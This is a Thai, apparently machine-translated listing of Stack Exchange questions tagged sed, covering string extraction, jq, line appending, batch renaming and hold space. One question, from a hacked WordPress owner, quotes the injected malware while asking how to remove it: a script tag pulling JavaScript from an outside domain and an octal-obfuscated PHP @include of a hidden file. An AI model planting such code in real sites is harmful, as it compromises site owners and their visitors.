คำถามติดแท็ก sed

Sed (Stream EDitor) เป็นเครื่องมือแก้ไขบรรทัดคำสั่งสำหรับสภาพแวดล้อม POSIX Sed ประมวลผลไฟล์อย่างน้อยหนึ่งไฟล์ตามสคริปต์แก้ไขและเขียนผลลัพธ์ไปยังเอาต์พุตมาตรฐาน สร้างขึ้นที่ Bell Labs มาตั้งแต่กลางทศวรรษที่ 70

8
วิธีการแยกสตริงตามรูปแบบด้วย grep, regex หรือ perl
ฉันมีไฟล์ที่มีลักษณะดังนี้: <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> ฉันต้องการที่จะดึงอะไรที่อยู่ในคำพูดที่ว่าต่อไปนี้name=คือcontent_analyzer, และcontent_analyzer2content_analyzer_items ฉันกำลังทำสิ่งนี้บนกล่อง Linux ดังนั้นวิธีแก้ปัญหาโดยใช้ sed, perl, grep หรือ bash ก็ใช้ได้

2
ใช้ jq เพื่อแยกวิเคราะห์สตริง JSON
ฉันกำลังพยายามjqแยกวิเคราะห์โครงสร้าง JSON เช่น: { "a" : 1, "b" : 2, "c" : "{\"id\":\"9ee ...\",\"parent\":\"abc...\"}\n" } นั่นคือองค์ประกอบใน JSON คือสตริงที่มี Escape json ดังนั้นฉันมีบางอย่างตามแนวของ $ jq [.c] myFile.json | jq [.id] แต่ที่เกิดปัญหากับ jq: error: Cannot index string with string เนื่องจากเอาต์พุตของ. c เป็นสตริงไม่ใช่ JSON มากกว่า ฉันจะให้ jq แยกวิเคราะห์สตริงนี้ได้อย่างไร วิธีการแก้ปัญหาแรกของฉันคือการใช้ sed เพื่อแทนที่ทุกตัวอักษรหลบหนี ( \":\", \",\"และ\") …
91 json  string  sed  escaping  jq 

6
จะเพิ่มที่ท้ายบรรทัดที่มีรูปแบบด้วย sed หรือ awk ได้อย่างไร?
นี่คือไฟล์ตัวอย่าง: somestuff... all: thing otherthing some other stuff สิ่งที่ฉันต้องการทำคือเพิ่มในบรรทัดที่ขึ้นต้นด้วยall:สิ่งนี้: somestuff... all: thing otherthing anotherthing some other stuff
89 bash  sed  awk 

13
ใช้ sed เพื่อเปลี่ยนชื่อไฟล์จำนวนมาก
วัตถุประสงค์ เปลี่ยนชื่อไฟล์เหล่านี้: F00001-0708-RG-biasliuyda F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl ไปยังชื่อไฟล์เหล่านี้: F0001-0708-RG-biasliuyda F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl รหัสเชลล์ ทดสอบ: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' ในการดำเนินการ: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh คำถามของฉัน ฉันไม่เข้าใจรหัส sed ฉันเข้าใจคำสั่งการแทนที่ $ sed 's/something/mv' หมายถึง. และฉันเข้าใจนิพจน์ทั่วไปบ้าง แต่ฉันไม่เข้าใจว่าเกิดอะไรขึ้นที่นี่: \(.\).\(.*\) หรือที่นี่: & \1\2/ สำหรับฉันในอดีตดูเหมือนว่ามันหมายถึง: "อักขระเดี่ยวตามด้วยอักขระเดี่ยวตามด้วยลำดับความยาวของอักขระเดี่ยว" - แต่แน่นอนว่ามีอะไรมากกว่านั้น เท่าที่ส่วนหลัง: & \1\2/ ฉันไม่รู้.
89 bash  shell  sed  file-rename 

3
แนวคิดของ 'Hold space' และ 'Pattern space' ใน sed
ฉันสับสนกับสองแนวคิดใน sed: hold space และ pattern space ใครสามารถช่วยอธิบายพวกเขา? นี่คือตัวอย่างของคู่มือ: h H Copy/append pattern space to hold space. g G Copy/append hold space to pattern space. n N Read/append the next line of input into the pattern space. คำสั่งทั้งหกนี้ทำให้ฉันสับสนจริงๆ
87 linux  sed 

20
เปลี่ยนชื่อไฟล์ซ้ำ ๆ โดยใช้ find และ sed
ฉันต้องการอ่านไดเรกทอรีจำนวนมากและเปลี่ยนชื่อไฟล์ทั้งหมดที่ลงท้ายด้วย _test.rb เพื่อลงท้ายด้วย _spec.rb แทน มันเป็นสิ่งที่ฉันไม่เคยคิดมาก่อนว่าจะทำอย่างไรกับการทุบตีดังนั้นคราวนี้ฉันคิดว่าฉันจะพยายามอย่างเต็มที่เพื่อให้มันถูกตอก จนถึงตอนนี้ฉันคิดได้สั้น ๆ แต่ความพยายามที่ดีที่สุดของฉันคือ: find spec -name "*_test.rb" -exec echo mv {} `echo {} | sed s/test/spec/` \; หมายเหตุ: มีเสียงสะท้อนเพิ่มเติมหลังจาก exec เพื่อให้พิมพ์คำสั่งแทนการรันในขณะที่ฉันกำลังทดสอบ เมื่อฉันเรียกใช้ผลลัพธ์สำหรับชื่อไฟล์ที่ตรงกันคือ: mv original original กล่าวคือการแทนที่โดย sed ได้สูญหายไป เคล็ดลับคืออะไร?
87 bash  scripting  sed  find  replace 

7
วิธีแทนที่สตริงทั้งหมดด้วย sed หรือ grep
ดังนั้นเซิร์ฟเวอร์ทั้งหมดของฉันถูกแฮ็กหรือมีปัญหามัลแวร์ ไซต์ของฉันใช้ WordPress และไซต์ส่วนใหญ่ที่โฮสต์บนเซิร์ฟเวอร์ของฉันนั้นใช้ WordPress แฮ็กเกอร์เพิ่มรหัสบรรทัดนี้ให้กับทุกไฟล์และในฐานข้อมูล <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> ฉันค้นหาโดยใช้คำสั่ง grep grep -r "trasnaltemyrecords" /var/www/html/{*,.*} ฉันพยายามแทนที่มันตลอดโครงสร้างไฟล์ด้วยsedและฉันเขียนคำสั่งต่อไปนี้ sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php ฉันพยายามแทนที่สตริงในไฟล์เดียวindex.phpก่อนดังนั้นฉันจึงรู้ว่ามันใช้งานได้ และฉันรู้ว่ารหัสของฉันผิด โปรดช่วยฉันด้วยสิ่งนี้ ฉันลองใช้รหัส @ Eran และลบทั้งบรรทัดซึ่งดีและเป็นไปตามที่คาดไว้ อย่างไรก็ตามศัพท์แสงทั้งหมดนี้ /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ <?phpและในขณะที่ฉันต้องการที่จะลบเนื้อหาทั้งหมดที่ฉันต้องการให้แท็ก PHP เปิด แม้ว่าโซลูชันของ @ slybloty นั้นใช้งานง่ายและใช้งานได้ ดังนั้นเพื่อลบรหัสออกจากไฟล์ที่ได้รับผลกระทบทั้งหมด ฉันใช้ 3 คำสั่งต่อไปนี้ขอบคุณทุกท่านสำหรับสิ่งนี้ find . -type f -name …
10 bash  shell  sed  grep 
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.